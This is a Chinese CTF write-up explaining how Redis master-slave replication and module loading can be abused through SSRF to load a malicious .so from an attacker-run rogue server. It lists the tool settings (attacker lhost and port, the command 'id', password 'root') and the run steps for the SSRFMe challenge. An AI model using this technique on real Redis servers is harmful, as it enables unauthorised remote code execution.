文章目录
- 前置知识
- 概念
- redis module
- 利用条件
- 利用工具
- 思路
- 例题 [网鼎杯 2020 玄武组]SSRFMe
前置知识
概念
背景是多台服务器要保存同一份数据,如何实现其一致性呢?数据的读写操作是否每台服务器都可以处理?这里Redis就提供了主从复制的模式来避免此问题
主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);
主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,并接受主服务器同步过来写操作命令,然后执行这条命令。
也就是说,所有的数据修改只在主服务器上进行,然后将最新的数据同步给从服务器,这样就使得主从服务器的数据是一致的。
建立主从复制,有3种方式:
- 配置文件写入
slaveof <master_ip> <master_port>
- redis-server启动命令后加入
--slaveof <master_ip> <master_port>
- 连接到客户端之后执行:
slaveof <master_ip> <master_port>
PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作
我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380
我们把master_ip设置为127.0.0.1,master_port为6380
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"
我们可以明显看到数据达到了同步的效果
redis module
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。
利用条件
能未授权或者能通过弱口令认证访问到Redis服务器
利用工具
工具一
使用条件
ssrf-redis.py : python2.x 3.x
rogue-server.py : python2.x
工具二
使用条件
redis-rogue-server.py : python3.5以上
备注:工具一的使用需要把工具二的exp.so复制到该目录下
思路
了解完redis的主从复制的相关知识后我们可以尝试如何实现RCE
某个目标靶机存在ssrf漏洞,我们可以自己搭建一个redis服务器作为目标靶机的主服务器,也就是说我们在redis服务器恶意构造.so文件,通过主从复制的模式到该目标靶机实现RCE
例题 [网鼎杯 2020 玄武组]SSRFMe
我们已知密码为root,利用工具一,服务器为buu的
修改ssrf-redis.py
elif mode==3:
lhost="10.244.80.129"
lport="6666"
command="id"
ip="0.0.0.0" #绕过题目检测
port="6379" #默认端口
passwd = 'root'
然后复制到buu的服务器上
然后运行得到payload
python ssrf-redis.py
然后url编码一下(如果是bp的话就不用)
在buu服务器启动redis rogue server, 让我们主服务器接受题目redis的连接
python rogue-server.py
传入payload
不过题目环境有点问题只能作罢